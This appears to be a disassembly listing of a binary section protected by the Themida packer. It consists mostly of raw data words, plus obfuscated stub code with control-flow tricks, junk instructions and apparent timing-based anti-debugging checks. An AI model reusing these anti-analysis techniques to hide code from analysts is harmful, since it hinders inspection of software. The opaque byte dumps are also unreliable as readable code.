4246C89h, 4244481h, 1Ch, 9EC35545h, 0C2AECD37h dd 456E7F85h, 9E8F960h, 5D000000h, 3C6A2592h, 26D72FBDh dd 45F7BF66h, 0C7F9615Eh, 15728B85h, 6, 6E900h, 3DCF0000h dd 0BA8854BEh, 5E9C68Bh, 0 dd 5D818BE2h, 6AD8B70Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 52BFC350h, 2FADF278h dd 0C1FCF907h, 0CE910E8h, 64000000h, 440BB629h, 0AA37B579h dd 0E973ADCEh, 0Ah, 85C631E3h, 0F9C441BBh, 0C1667A66h dd 6A08C8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0FBF431C3h, 187461DFh, 0E9CED811h, 8, 924F3E27h dd 6629F4CFh, 728F8589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0CA4FE6C3h, 0E9603CF9h dd 12h, 0CF8BA071h, 798B857h, 0B5CB7F48h, 0D7E21451h, 57602183h dd 860F5Fh, 61000000h, 7880F61h, 0F000000h, 180h, 0C166F800h dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 600739C3h, 0DA22BF66h, 6061C18Ah, 2840Fh dd 61600000h, 40FB8361h, 59850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8DE6C3h dd 6157263h, 0CE9h, 0A2EEB400h, 0E8ED512h, 88167643h, 19FE95Ch dd 8E0F0000h, 1Bh, 158F0Fh, 10E90000h, 0C0000000h, 35CBFFF1h dd 3FBC8B0Fh, 55E30926h, 839C4DC4h, 850F0DFBh, 5Bh, 8820Fh dd 860F0000h, 2, 8DFC6160h, 15726BBDh, 198C0F06h, 0F000000h dd 138Bh, 0EE900h, 0BCFC0000h, 0FC4CC5BEh, 0D6843171h dd 271F1774h, 10E9h, 1205DE00h, 7A59F0Eh, 0F77213CFh, 2AFD9647h dd 127E90Dh, 8C0F0000h, 7, 18A0Fh, 83F80000h, 850F01FBh dd 71h, 0BD8DF8F5h, 6157273h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0BDC35646h, 57045A9Fh, 0E2E93997h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0F35CC353h, 0F2BBDA0h, 158Eh dd 10E900h, 96800000h, 0F1D0F570h, 6634706Fh, 0E98D638Fh dd 0F602E37h, 0D08ACBBFh, 2AFB8361h, 4D850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9E01FCC3h, 5578CB04h, 727BBD8Dh, 0E9600615h, 8, 0F4191B87h dd 346E2C83h, 5E9h, 82E2000h, 0E961F0B5h, 51h, 18B0Fh dd 83F50000h, 850F27FBh, 332h, 0FE9h, 20551700h, 0D120993Dh dd 0B6C9390Bh, 4B4A6FEBh, 7283BD8Dh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E996CCC3h dd 5, 0F496DC0Fh, 93BD8966h, 6A061572h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BED5C351h dd 0CC4560BCh, 6E98Eh, 37AC0000h, 8973291Bh, 6AC88C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FD5C351h, 78Bh, 1820F00h, 0F8000000h, 6A0324h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 3554C1C3h, 59662652h, 0A800Fh, 0F600000h, 81h, 61616000h dd 850FC00Ah, 179h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0C5C35343h, 0AEFF6E19h, 4CB58D5Ch, 0F8061579h dd 79C1858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 3DFB22C3h, 0A0D28160h, 0E82A751Dh dd 6, 0FE984902h, 585046E0h, 12E9615Eh, 1E000000h, 0B0BE817Ah dd 0FE705974h, 64FE3488h, 8094C556h, 52509299h, 0CE9h dd 0EBDC3200h, 3F25694Dh, 0CD76D8A9h, 0F310FF7h, 284h dd 5A616000h, 50605058h, 0B6310F52h, 0E9585A95h, 0Ah, 916B4E41h dd 0C8AAE19Bh, 9261415Bh, 4C010FFCh, 830FFE24h, 8, 2860Fh dd 61600000h, 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0CE97Ch, 0CC840000h, 0D53D44BFh dd 52E271CFh, 0C2837C7Dh, 8966F924h, 0F560FC72h, 0BE8h dd 0A75B3600h, 41AF2057h, 53A938F0h, 615B5956h, 6A10CEC1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0C287C351h, 0FEC8224h, 1B89h, 158D0F00h dd 0E9000000h, 10h, 0CBDF4545h, 5154CDD5h, 637899A5h, 97B4FE04h dd 2728966h, 0F04CDFCh, 180h, 0C1E9FC00h, 0FC000000h, 8DC68060h dd 2860Fh, 5B500000h, 0C1858B61h, 6A061579h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 8112C353h, 0D2CF60E6h, 168F0FD6h, 0E9000000h, 11h, 28011E92h dd 8ECB42BAh, 16EF90E4h, 0EB53CF47h, 18B0FAAh, 0F5000000h dd 794CB58Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D9A98EC3h, 14E9h, 0F1E71600h, 79E1E874h dd 85388CE8h, 0A273AC3Dh, 0E85DBA25h, 86858D30h, 0E9061549h dd 13h, 0C1D82A26h, 6E292C94h, 24D470CFh, 7E3653ECh, 0FFA60C20h dd 0BF6660D0h, 81669C0Ch, 61036FE8h, 728B8589h, 6A0615h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0BAC95C3h, 0DB22D68Ah, 0E961F8A0h, 11h, 460BE84Eh, 9FAB5598h dd 739390B8h, 0B662425Bh, 8B858BDEh, 0F061572h, 198Ah dd 61606000h, 10E9h, 0DDA1DF00h, 99D892AEh, 7F51EE75h dd 0E1F2645Ah, 0FC361E3h, 18Dh, 0F60F900h, 78Eh, 0B70F6000h dd 6145B4F9h, 79C1BD83h, 0F000615h, 3285h, 0BB666000h dd 0E9617B51h, 0Fh, 34D84799h, 0FCF17F8Eh, 0D1FD47A4h dd 0C73473DEh, 1579C185h, 1013F06h, 8860F00h, 0F000000h dd 281h, 0E9616000h, 21h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0BCC35545h, 0E8803D51h, 20CD7Dh, 0B000000h dd 8D3774C0h, 0BD8B0C70h, 6157293h, 8B9h, 2275A600h, 8BFA7549h dd 9D8B3048h, 615728Fh, 7F34583Bh, 6BD38B15h, 0CA0304D2h dd 8589018Bh, 615728Bh, 8B04EBh, 8B61C5EBh, 15728B85h dd 6ACF06h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 51F573C3h, 0C07F17D4h, 60D3F585h, 80DFBF0Fh dd 6A6106D8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0DC3FC356h, 0F38A766h, 78Ch, 1830F00h dd 0F8000000h, 0EE8C08Bh, 71000000h, 762CAB24h, 644CED89h dd 49EFA9FCh, 0D2816683h, 0F958E7B2h, 5DA2C081h, 9ABF0000h dd 0B932D140h, 0 ; --------------------------------------------------------------------------- loc_57E4A4: ; CODE XREF: Themida_:0057E510j push dword ptr [ecx+eax] movzx edx, bx pop ebx movsx edx, dx add ebx, 182F6DFh mov si, dx add ebx, 0C579AECh pusha mov edi, 484CABF1h add bh, 0CDh popa xor ebx, 359D017Ch mov [eax+ecx], ebx sub dl, 2Ah mov di, ax sub ecx, 5AC62287h jns loc_57E4FA jnz loc_57E4FA jmp loc_57E4FA ; --------------------------------------------------------------------------- db 4, 0BDh, 27h dd 0C6FCCB68h, 1AF848FAh ; --------------------------------------------------------------------------- mov al, 0D0h loc_57E4FA: ; CODE XREF: Themida_:0057E4DCj ; Themida_:0057E4E2j ... add ecx, 5AC62283h pusha push eax mov si, 0FFB0h pop edx mov al, cl popa cmp ecx, 0FFFFA2F4h jnz loc_57E4A4 mov dx, bx jmp loc_57E91E ; --------------------------------------------------------------------------- align 10h dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset loc_55FFFF+1 dd offset dword_445750+0A8B0h dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_57E91E: ; CODE XREF: Themida_:0057E519j jmp loc_57FB1A ; --------------------------------------------------------------------------- push 0 push eax call sub_57E92E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E92E proc near ; CODE XREF: Themida_:0057E926p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_57E92E endp ; --------------------------------------------------------------------------- dw 7859h ; --------------------------------------------------------------------------- mov ds:20908F9Dh, eax add [ebp+6122901h], ebx mov eax, [ebp+61222EDh] push 0 push esi call sub_57E95C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E95C proc near ; CODE XREF: Themida_:0057E954p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_57E95C endp ; --------------------------------------------------------------------------- dd 95D43F3Ah, 0F09F7377h, 1F85CB6h, 120CAD8Dh, 24443906h dd 0A9850F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F687C356h, 605A7E10h dd 1D999D89h, 10E90612h, 12000000h, 67CDE644h, 3558D701h dd 7E3B7BFEh, 612C2853h, 53DBD83h, 0F000612h, 5F84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 370CBF44h, 0F6D930FBh, 870F71E2h, 13h, 0BE960h, 94200000h dd 0C74650FDh, 0E46196Dh, 8D61F58Bh, 123B5D85h, 8E906h dd 3CCC0000h, 56FFA63Fh, 0E0FF407Eh, 7619D31h, 0BD890612h dd 612167Dh, 1D39858Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 48AA61C3h, 0DBEE1F08h dd 819529ECh, 3906122Ah, 0F042444h, 2B85h, 14820F00h, 0F000000h dd 0E8Fh, 9E900h, 34430000h, 7312C8CBh, 0F8C3FB48h, 7F0485C7h dd 10615h, 85290000h, 6123019h, 3FE9F960h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 68EC350h, 0CBE61ADEh, 0B589F242h, 61203C5h, 0C830Fh dd 890F0000h, 6, 2A558D31h, 612h, 1B80000h, 87000000h dd 1580C085h, 75C00B06h, 71B5FFF6h, 8F061228h, 157EFC85h dd 6A206A06h, 0A595FFFFh, 83061214h, 120271BDh, 8740006h dd 95FF006Ah, 61219CDh, 99BD83h, 74010612h, 80680Dh, 0FF6A0000h dd 14A595FFh, 9F80612h, 1218119Dh, 10E906h, 6D8C0000h dd 7BABD140h, 936AA256h, 3326198Dh, 0CE9FFA7h, 78000000h dd 84EBD571h, 6232A5F0h, 0B84570C6h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_57EB63 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EB63 proc near ; CODE XREF: Themida_:0057EB5Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_57EB63 endp ; --------------------------------------------------------------------------- sti pop ebx retf 8509h ; --------------------------------------------------------------------------- add eax, 1061229h test [ecx-74F9EDE7h], esp push esp and al, 28h sub [ebp+6122D2Dh], eax mov [ebp+612187Dh], eax push 0 push ebp call sub_57EB9D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EB9D proc near ; CODE XREF: Themida_:0057EB95p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_57EB9D endp ; --------------------------------------------------------------------------- db 62h, 5Bh, 33h ; --------------------------------------------------------------------------- retf 0ECE5h ; --------------------------------------------------------------------------- mov [ebp+6120479h], eax xor [ebp+6120D5Dh], esi mov esi, 3Ch push 0 push ebx call sub_57EBCF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EBCF proc near ; CODE XREF: Themida_:0057EBC7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_57EBCF endp ; --------------------------------------------------------------------------- rcr byte ptr [eax+62CE1965h], cl or ah, [eax-4Ch] pusha mov [ebp+6120EB9h], esi popa add esi, [esp+24h] push 0 push esi call sub_57EC00 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EC00 proc near ; CODE XREF: Themida_:0057EBF8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_57EC00 endp ; --------------------------------------------------------------------------- push ebp inc edi add al, 66h lodsd push 0 push ebp call sub_57EC20 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EC20 proc near ; CODE XREF: Themida_:0057EC18p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_57EC20 endp ; --------------------------------------------------------------------------- dd 4DCE8AB3h, 24244403h, 8F0F50F5h, 0Bh, 6E9h, 0CCE1E500h dd 89F09D6Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 13A84EC3h, 178D0Fh, 0E9600000h dd 0Bh, 5CCA18A7h, 89EDD51h, 0B8534D85h, 2ED24E87h, 0DE961h dd 1C260000h, 0DE0BC045h, 29B74385h, 8BE124F7h, 6A7840h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0EDEB3CC3h, 6E9h, 1C955300h, 83483482h, 157F04BDh, 850F0006h dd 0E0h, 0E2DBD89h, 50500612h, 0F525052h, 83h, 50310F00h dd 5A310F52h, 0F585A58h, 50525031h, 5A310F52h, 0F310F58h dd 88h, 5A585A00h, 24048958h, 9E9h, 2EE5400h, 1BC8EA10h dd 85018578h, 6121295h, 2C24448Bh, 459D2960h, 0F061201h dd 283h, 61585700h, 0FE86090h, 0F1000000h, 1C240431h, 29E42DC3h dd 7D74C436h, 0ADB9453Eh, 5F24FC74h, 2870Fh, 0EA8A0000h dd 840F5061h, 18h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch dd 9B945615h, 81AA09Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 858DFCDBh, 615507Ch, 10298529h dd 85890612h, 612004Dh, 2960D0FFh, 122CB99Dh, 45B58B06h dd 61061226h, 28244403h, 1FF59D89h, 408B0612h, 50006A18h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0DB58950h, 4006122Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 98C35343h, 3A81E9Bh, 0CE9h, 0F0310500h dd 54FC81C8h, 4108FA86h, 85891Bh, 6A06157Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 58BDC350h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 5EC35040h, 658D8B60h, 8B061216h, 853161DFh, 61228A1h dd 0E1958960h, 61061215h, 0F78708Bh, 1988h, 14E900h, 8E560000h dd 435CFC49h, 0E32B37BCh, 2949D5BFh, 670B07A1h, 0C683A1FFh dd 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD895851h, 6121075h, 68E0Fh, 85890000h dd 6121E61h, 85858996h, 8106122Dh, 24247Ch, 0F100000h dd 0FA87h, 0DE900h, 86C50000h, 41B6449h, 68D75176h, 90C60E9Bh dd 0C810Fh, 8A0F0000h, 6, 840Fh, 50500000h, 0FE952h, 0CE6D0000h dd 0E678A66Eh, 0EEABDE39h, 19ED44EFh, 60310FC6h, 310F5250h dd 5A61585Ah, 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0E901FDC3h, 0Eh, 33F35D67h, 0FE1F18C2h dd 8BE4D73Dh, 448B7A33h, 90F82824h, 8880Fh, 840F0000h dd 2, 0E9506160h, 0Eh, 36C9B988h, 1D5DE1A4h, 0BA075A08h dd 6A900887h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0BEA4C350h, 693DB07Dh, 8A0FD535h dd 6, 91D8D29h, 85890612h, 6121A41h, 507C858Dh, 890F0615h dd 6, 22918D29h, 0D0FF0612h, 9D895160h, 6120775h, 369CBB59h dd 966120F8h, 20659D89h, 74030612h, 95892424h, 612124Dh dd 0C758D31h, 0BD8D0612h, 6120251h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0A2C35545h, 0DB95D0D9h, 7782F18Dh dd 18D0F86h, 0FC000000h, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 2B047E32h, 26B59589h dd 85890612h, 61211D5h, 24247C81h, 10000000h, 10A870Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 9A7F91C3h, 0FEAA87FCh, 90C78002h, 52505250h dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 870F310Fh dd 11h, 0CE9h, 62F2F700h, 99C23A06h, 0B5C6E15Fh, 50585A6Eh dd 0F525060h, 5A616031h, 2850F58h, 60000000h, 6A906161h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 1B59C356h, 7B5C14FBh, 0B589A0F1h, 6122F89h dd 2824448Bh, 1629B529h, 50500612h, 11800F52h, 0E9000000h dd 0Ch, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh, 6660310Fh, 5853C18Bh dd 89585A61h, 820F2404h, 6, 4618501h, 8A0F0612h, 1, 7C858DFCh dd 6A061550h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0C821C355h, 42EC0518h, 0FF1AEC7Dh dd 65BD89D0h, 0FC06121Bh, 24244403h, 13E9h, 0C24B1D00h dd 0A5F1C40h, 8D6EF7A3h, 64023A46h, 27D09B5Ah, 8860Fh dd 8D0F0000h, 2, 0E9AB6160h, 0Ch, 92E39028h, 0B4C9773Bh dd 475E9BD8h, 0FA81h, 820F0001h, 755h, 0BD8DF8F5h, 612002Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D1C35242h dd 779CD725h, 0EE92C70h, 7C000000h, 454A89ADh, 62CDB2Eh dd 0CB444D5Ch, 8589AD38h, 6122415h, 24247C81h, 10000000h dd 0BE870Fh, 50F80000h, 1A63B960h, 60562FB3h, 89615F61h dd 0DE92404h, 0E3000000h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h dd 2824448Bh, 1AA59529h, 50900612h, 68D0F52h, 50000000h dd 5A310F52h, 60310F58h, 14E96160h, 35000000h, 0C6C11A4Bh dd 44FD2015h, 6CAE8FFBh, 1E8DB653h, 61F356EAh, 5050585Ah dd 0D78B6052h, 0F61C68Bh, 60525031h, 0F310F61h, 83h, 5A585A00h dd 0B5299058h, 61211D1h, 507C858Dh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DDE2EAC3h dd 0A380BED1h, 0FFFC7A65h, 0D840FD0h, 0E9000000h, 8, 69A70DA0h dd 0DDA6CD3Fh, 24244403h, 13850Fh, 830F0000h, 0Dh, 8E9h dd 5D5E7100h, 9A85AF64h, 0BF60906Ah, 4C2A2D17h, 59616053h dd 52505061h, 0CE95250h, 0F4000000h, 785F1A21h, 0CBABC179h dd 0F299CD1h, 0F525031h, 5A585A31h, 0F310F58h, 1284h, 0DE900h dd 0F1790000h, 5D445FD6h, 69B1DD02h, 5A53E051h, 0DE99058h dd 84000000h, 0E637918Fh, 7A97424Eh, 0A9760CD0h, 52006AABh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 63C3EA2Dh, 0BD8D79A1h, 61204CDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0ECC35646h, 85019863h, 6122075h dd 6E9ADF5h, 0C7000000h, 0D253A88Eh, 247C8192h, 28h, 0FE870F10h dd 0F5000000h, 606050FCh, 0DE8h, 4C220100h, 16831653h dd 280A42F3h, 6658CA7Dh, 61634CB8h, 0EE9h, 7E474F00h, 8A3715C7h dd 784C015Ah, 618FA9DCh, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F934C355h dd 7B893C76h, 188D0Fh, 13E90000h, 48000000h, 0FA22EF5Ch dd 26DCFF6Ch, 0E619CDD8h, 11859448h, 448B9623h, 6A2C24h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FC930CC3h, 0FE9h, 98357A00h dd 5FECD01Ah, 4BB3DC9Ah, 0AFDDA808h, 0F525090h, 1687h dd 11E900h, 2B700000h, 14E77DAh, 0F745EDF8h, 2994AC70h dd 0FED1E46h, 0EE931h, 8D0A0000h, 8516FD2Ah, 6A8DCA4Bh dd 0F8CB8454h, 0E950585Ah, 7, 1350905Fh, 902085FDh, 21199501h dd 858D0612h, 615507Ch, 0D0FFF8F5h, 244403F8h, 2960F928h dd 122BE19Dh, 30F2BA06h, 0AB614C18h, 8DFF5EFCh, 6157F00h dd 7F00BD83h, 75000615h, 8DC0330Ah, 158E42B5h, 56E6FF06h dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 7C858D50h, 0FF061550h dd 244403D0h, 0DF8B9728h, 7EFC858Ah, 0C0840615h, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 612187Dh, 0FFFF5DE9h, 85895EFFh, 612096Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9FC35545h dd 0A1E2C6B4h, 0F62F50Ah, 168Ah, 8B666000h, 0CE9C1h, 2D390000h dd 352D7A32h, 27AC71B1h, 8B61FEE1h, 12187D85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C3855EA9h, 92A877E4h, 8A0FB342h, 6, 235D8501h, 0F600612h dd 858BCABFh, 61218A9h, 6AE0D161h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 804AC351h dd 0A9B589BFh, 3061226h, 1204CD85h, 0C28B6006h, 830F60h dd 89000000h, 1203758Dh, 2B616106h, 2D9D29F6h, 0E9061217h dd 0Dh, 0FBE770h, 0F87BC5F7h, 5B91AB57h, 6A9698h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 606032C3h, 0C8DB589h, 8B660612h, 9D8961D1h, 6120285h dd 360AD66h, 121AB18Dh, 61A8B206h, 6A02E0C1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 7763C350h, 3AE1C61h, 0B911DBF9h, 59B53160h, 23061211h dd 121C19BDh, 85036106h, 6120251h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 49C35646h, 7828DFACh, 6890Fh dd 85890000h, 61215EDh, 830F96F9h, 1, 60F8ADF9h, 22D38166h dd 0F9858B0Eh, 61061206h, 24247C81h, 10000000h, 13E870Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 2CB43DC3h, 9095E3C9h, 7E9h, 0C0776C00h, 8BFE04Dh dd 50525050h, 890F52h, 0F000000h, 8A0F31h, 5A000000h, 50310F58h dd 0F525052h, 0F585A31h, 850F31h, 5A000000h, 90585A58h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 18C35343h dd 0AEF3A229h, 0B501AC48h, 6120C75h, 27D9589h, 448B0612h dd 6A2824h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0BBB57C3h, 7E9h, 4084BB00h, 0A6A7B44Eh, 0C880F50h dd 0F000000h, 680h, 0F525000h, 89585A31h, 9D292404h, 61207B5h dd 0EE9h, 68F32400h, 42BDAA7h, 0F5B82A86h, 8DD8F588h, 15507C85h dd 0E8506006h, 10h, 75B32699h, 8D595BC0h, 1312A8F7h, 0E5B71FA7h dd 0B9665B5Bh, 0FF6183F4h, 55006AD0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89D623D1h dd 31E8760Dh, 120DA185h, 6E906h, 1D210000h, 0CAAD6F64h dd 24244403h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 8DC35545h, 9B4B14C8h, 0E415A2C3h, 1C244489h, 2F699D09h dd 0C6F50612h, 12287185h, 85C70006h, 61580C0h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6157F04h], 0 push 0 push eax call sub_57F889 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F889 proc near ; CODE XREF: Themida_:0057F881p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57F889 endp ; --------------------------------------------------------------------------- db 2Eh, 89h, 0B5h dd 89E0A447h, 1216B18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0E53180BCh, 1800FC1h dd 0F9000000h, 0AE9h, 387FFF00h, 485D5A3Eh, 613330B5h dd 939B589h, 8C20612h, 0B5296000h, 61206BDh, 381B58Bh dd 89610612h, 1220519Dh, 51858B06h, 6A061202h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 1C94C356h, 0D40BA653h, 0CE572551h, 58D2960h, 89061229h dd 122DE99Dh, 0FF86106h, 178Bh, 12E900h, 646A0000h, 0EEFEDE02h dd 1080D584h, 7813BD18h, 0BA6B39CDh, 55006A4Ah, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 5BC954A5h dd 666A67D0h, 820FF515h, 1, 4D26BF9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 62C35141h, 0F9ADFE0Fh, 6E9h dd 882C8500h, 3A19A02h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 28F816A6h, 31B5895Bh dd 96061209h, 68D0Fh, 8D890000h, 6122905h, 6850FADh, 1000000h dd 12098DBDh, 247C8106h, 24h, 14870F10h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0B83AC353h, 0F81D92E5h, 8E9h, 5B603200h, 1E30AAB9h dd 52509057h, 850F5250h, 0 dd 5250310Fh, 585A310Fh, 310F585Ah, 0CA8B6660h, 6AC710B8h dd 585A6152h, 0BE950h, 0B1900000h, 694A05C6h, 21A31C04h dd 890F906Fh, 6, 4AD9531h, 448B0612h, 80602824h, 0BF0FC5D0h dd 14E961F9h, 1D000000h, 4FF78A32h, 0E8820855h, 6DE4616Fh dd 0D60F4C8h, 905A0EE7h, 0FB5B260h, 8Dh, 0F506100h, 0C8Dh dd 6880F00h, 0F000000h, 88h, 6A9000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD89BAC3h dd 6122AE9h, 2041B509h, 858D0612h, 615507Ch, 24159531h dd 0D0FF0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 16C35343h, 8E5E70F9h, 7D2D72C1h, 85BD897Dh, 0E9061222h dd 0FFFFFD1Ch, 1C2D8531h ; --------------------------------------------------------------------------- adc al, [esi] loc_57FB1A: ; CODE XREF: Themida_:loc_57E91Ej lea eax, [ebp+6159437h] push 0 push edi call sub_57FB2B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FB2B proc near ; CODE XREF: Themida_:0057FB23p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_57FB2B endp ; --------------------------------------------------------------------------- db 12h dd 0C5F48B47h, 8C77B1Ah, 19D29F9h, 90061216h, 128D0Fh dd 800F0000h, 0Ch, 7E9h, 3672A000h, 0B9BB5D9Fh, 0E9525050h dd 0Fh, 106D5CA6h, 0F7903C0Fh, 113451D5h, 0F1E157Ch, 6830F31h dd 0F000000h, 8Dh, 90585A00h, 0E857006Ah, 3, 